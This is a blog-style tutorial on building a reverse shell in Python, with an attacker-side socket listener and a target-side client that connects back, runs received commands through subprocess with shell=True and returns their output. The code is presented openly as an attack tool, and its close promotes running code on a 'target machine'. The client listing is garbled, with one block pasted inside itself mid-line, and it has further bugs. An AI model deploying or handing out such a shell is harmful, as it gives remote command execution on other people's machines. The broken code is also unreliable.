Build a Reverse shell in Python

How to build a reverse shell in Python

Introduction:

A reverse shell is a type of shell where by the target machine connects to the attacking machine, then recieves and sends back commands back to the attacking machine. The attacking machine creates a port for the target machine to connect to, when a connection has been made the attacker can send commands like(getcwd,ipconfig…etc) then the target machine executed this commands and sends the results back to the attacker.
The image below better explains it:

Reverse shell schema

In this tutorial we will learn how to build a reverse shell in Python; we will be using the following python’s standard modules (libraries) socket module,subprocess and os module for the Target machine side(Client side).

The Attacker(Server side):

We are going to use only the socket module in the server side. Let’s declare our variables.

import socket
#server
# TCP Server Code
  
host="0.0.0.0"                # Set the server address to variable host
port=33000                   # Sets the variable port to 4444
 

we used “0.0.0.0” as our host name instead of our localhost or our private IP because “0.0.0.0” means all IP address or any available IP address, which means we can connect to any IP address on our network.

We will create a socket object and create a listening port for our server.

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #Create socket
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) #prevents timeouts
sock.bind((host,port))# bind server address 

Now we listen for any client trying to connect to our sever,once we find such request we accept the connection and retrieve the client’s IP address.

sock.listen(1000) # Sets socket to listening state with a  queue of 1000 connection
print("Listening for connections.. ")
client,address = sock.accept() # Accepts incoming request from client and returns
print(f"{address} just connected !!")
 

Once a connection has been made, we now enter into a while loop from here we can send and receive commands and back and forth from the target machine. We can add our exit word for the case of simplicity we will use “bye” as our exit word.

while True:                                    # socket and address to variables q and addr
     try:
         command = input("Enter data to be sent:  ")  # Data to be sent                                          # user
         client.send(command.encode("ascii")) # Sends data to client
     except:
         pass
     try:
         msg = client.recv(1024)# Receives data upto 1024 bytes
         print("Message from client : " + msg.strip().decode('ascii'))
     except Exception as e:
         print(e)
  
sock.close()
# End of code 

Target machine (Client side):

The target or client side is much like the server side. We first set the server’s IP address and it’s listening port. We will use localhost just for testing to see if our code works but feel free to change the IP address to the attacker’s IP address.

import os
import socket
import subprocess
#Client
# TCP Client Code
  
host="0.0.0.0"            # Set the server IP address
port = 33000               # Sets the variable port to 4444
   

Now we setup a socket object to connect to the server given the port and IP address.

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #Create socket
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) #prevents timeouts
sock.connect((host,port))# Connect to server address
 

Next we enter into a while loop, here we receive commands and execute them with the help of subprocess popen function we send back the result to the Attacker(Server). We can exit the loop when a specific keyword is entered.

while True: 
     command = sock.recv(1024)# Receives data upto 1024 bytes
     command = command.strip().decode('ascii') 
     print(f"Command from server : {command}")
 if command == "quit":     break if(command.split()[0] == "cd"):     if len(command.split()) == 1:         sock.send(os.getcwd().encode("ascii"))     elif len(command.split()) == 2:         try:             os.chdir(command.split()[1])             sock.send("Changed directory to :" + os.getcwd())         except Exception as e:             print(e)             sock.send(str.encode("No such directory : " +os.getcwd())) else:     # do shell command     shell_com = subprocess.Popen(command, shell=while True: 
     command = sock.recv(1024)# Receives data upto 1024 bytes
     command = command.strip().decode('ascii') 
     print(f"Command from server : {command}")
     
     if command == "quit":
         break
     
     if(command.split()[0] == "cd"):
         if len(command.split()) == 1:
             sock.send(os.getcwd().encode("ascii"))
         elif len(command.split()) == 2:
             try:
                 os.chdir(command.split()[1])
                 sock.send("Changed directory to :" + os.getcwd())
             except Exception as e:
                 print(e)
                 sock.send(str.encode("No such directory : " +os.getcwd()))
     else:
         # do shell command
         shell_com = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
         # read output
         shell_result = shell_com.stdout.read() + shell_com.stderr.read()
         print(shell_result)
         # send output to attacker
         if(shell_result != ""):
             sock.send(shell_result)
         else:
             sock.send(f" {command} :does not return anything")

 sock.close()# Closes the socket 
 # End of code
 , stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)     # read output     shell_result = shell_com.stdout.read() + shell_com.stderr.read()     print(shell_result)     # send output to attacker     if(shell_result != ""):         sock.send(shell_result)     else:         sock.send(f" {command} :does not return anything")
sock.close()# Closes the socket 
#End of code

Live action:

Now let’s see the code in action, first run the server code then the client code. I’m running this code in my laptop, here is the code in action.

Reverse shell server side screen

Conclusion:

Congratulations you have just built your own reverse shell in Python. There are endless possibilities to what you can do with this, you can even send and Python codes to the target machine and execute them from there. Though that’s not all, web Admins can use it to control there server’s remotely. Thanks for reading upto this point please do share to your colleagues. Hope you build your own reverse shell with Python.Here is your reward, the project repository. Python4Life !!!!.

2 comments

Leave a Reply

Your email address will not be published. Required fields are marked *